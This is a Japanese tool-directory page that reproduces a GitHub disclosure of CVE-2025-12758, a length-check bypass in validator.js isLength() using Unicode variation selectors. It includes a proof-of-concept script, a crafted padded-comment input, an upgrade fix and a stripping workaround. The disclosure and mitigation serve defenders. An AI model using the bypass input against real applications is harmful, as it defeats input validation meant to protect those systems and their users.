Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2025-12758 — # CVE-2025-12758 の詳細開示:validator.js isLength() における Unicode 変異選択子バイパスの PoC validator.js の isLength() における Unicode 変異選択子バイパスを実証する詳細な CVE-2025-12758 開示情報。根本原因の分析、悪用シナリオ、および緩和策を含む。 | Kitploit
ツール/GitHubGitHub/open-flaw/cve-2025-12758
脆弱性分析コード分析ウェブセキュリティ論文と研究学習と教育
GitHubopen-flaw/cve-2025-12758

CVE-2025-12758

# CVE-2025-12758 の詳細開示:validator.js isLength() における Unicode 変異選択子バイパスの PoC validator.js の isLength() における Unicode 変異選択子バイパスを実証する詳細な CVE-2025-12758 開示情報。根本原因の分析、悪用シナリオ、および緩和策を含む。

リポジトリを見る
19ヶ月前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

CVE-2025-12758: Validator.js isLength() Unicode Variation Selector バイパス

CVE ID: CVE-2025-12758
CVSS スコア: 8.7 (HIGH)
重要度: HIGH
CWE: CWE-792 (Incomplete Filtering of One or More Instances of Special Elements)
公開日: November 26, 2025
開示日: October 19, 2025

脆弱性の概要

この脆弱性は、validator npm パッケージのバージョン < 13.15.22 に影響します。isLength() 関数は、文字列の長さを計算する際に Unicode 変異セレクタ (\uFE0F, \uFE0E) を考慮しないため、不適切な入力検証が発生します。

影響

isLength() を入力検証に使用するアプリケーションは、意図したよりも大幅に長い文字列を受け入れる可能性があり、その結果、以下の問題が発生する可能性があります:

  • データベースでのデータ切り詰め
  • 他のシステムコンポーネントでのバッファオーバーフロー
  • サービス拒否 (DoS) 攻撃
  • 入力検証のバイパス
  • 根本原因

    isLength() 関数は、文字列の長さを計算する際に Unicode 変異セレクタを適切にフィルタリングしません。これらの特殊文字 (結合マーク) は文字列の視覚的な長さに寄与すべきではありませんが、JavaScript の String.length プロパティではカウントされます。

    概念実証

    セットアップ

    root@kitploit:~
    npm install [email protected]
    node poc.js
    

    コード

    POC は、isLength() 関数をテストすることでこの脆弱性を示しています:

    root@kitploit:~
    const validator = require('validator');
    
    // Normal "test" string - correctly rejected
    console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 3? ${validator.isLength('test', { max: 3 })}`);
    // Output: Is "test" (String.length: 4) length ≤ 3? false
    
    // Normal "test" string - correctly accepted
    console.log(`Is "test" (String.length: ${'test'.length}) length ≤ 4? ${validator.isLength('test', { max: 4 })}`);
    // Output: Is "test" (String.length: 4) length ≤ 4? true
    
    // "test" with 4 variation selectors - INCORRECTLY accepted
    console.log(`Is "test️️️️" (String.length: ${'test\uFE0F\uFE0F\uFE0F\uFE0F'.length}) length ≤ 4? ${validator.isLength('test\uFE0F\uFE0F\uFE0F\uFE0F', { max: 4 })}`);
    // Output: Is "test️️️️" (String.length: 8) length ≤ 4? true ⚠️ VULNERABLE!
    

    出力

    root@kitploit:~
    Is "test" (String.length: 4) length less than or equal to 3? false
    Is "test" (String.length: 4) length less than or equal to 4? true
    Is "test️️️️" (String.length: 8) length less than or equal to 4? true
    

    3 番目の出力はこの脆弱性を示しています: 実際の長さが 8 の文字列が、最大長 4 の検証チェックを通過します。

    悪用シナリオ

    アプリケーションがユーザーコメントの検証を実装している場合を考えます:

    root@kitploit:~
    const MAX_COMMENT_LENGTH = 100;
    
    function validateComment(comment) {
      return validator.isLength(comment, { max: MAX_COMMENT_LENGTH });
    }
    
    const maliciousInput = 'a'.repeat(50) + '\uFE0F'.repeat(100);
    // Actual length: 150 characters
    // validator.isLength() incorrectly returns: true ❌
    // Database accepts malicious payload ⚠️
    

    修正

    バージョン 13.15.22 以降へのアップグレード

    root@kitploit:~
    npm install [email protected]
    

    パッチ適用済みバージョンは、Unicode 変異セレクタを長さの計算から除外することで適切に処理します。

    代替緩和策 (一時的)

    すぐにアップグレードできない場合は、カスタムの長さ検証を実装してください:

    root@kitploit:~
    function safeIsLength(str, options = {}) {
      // Remove Unicode variation selectors before validation
      const cleanStr = str.replace(/[\uFE0E\uFE0F]/g, '');
      return validator.isLength(cleanStr, options);
    }
    

    参考情報

    • Snyk 脆弱性データベース: https://security.snyk.io/vuln/SNYK-JS-VALIDATOR-13653476
    • GitHub Gist (元の証明): https://gist.github.com/koral--/ad31208b25b9e3d1e2e35f1d4d72572e
    • GitHub PR (修正): https://github.com/validatorjs/validator.js/pull/2616
    • CVE レコード: https://www.cve.org/CVERecord?id=CVE-2025-12758

    検出方法

    アプリケーションが脆弱かどうかを確認する:

    root@kitploit:~
    npm audit --audit-level=high
    

    バージョンが 13.15.22 未満の validator パッケージを探してください。

    クレジット

    脆弱性発見者: Karol Wrótniak

    ライセンス

    ISC

    ツールをダウンロード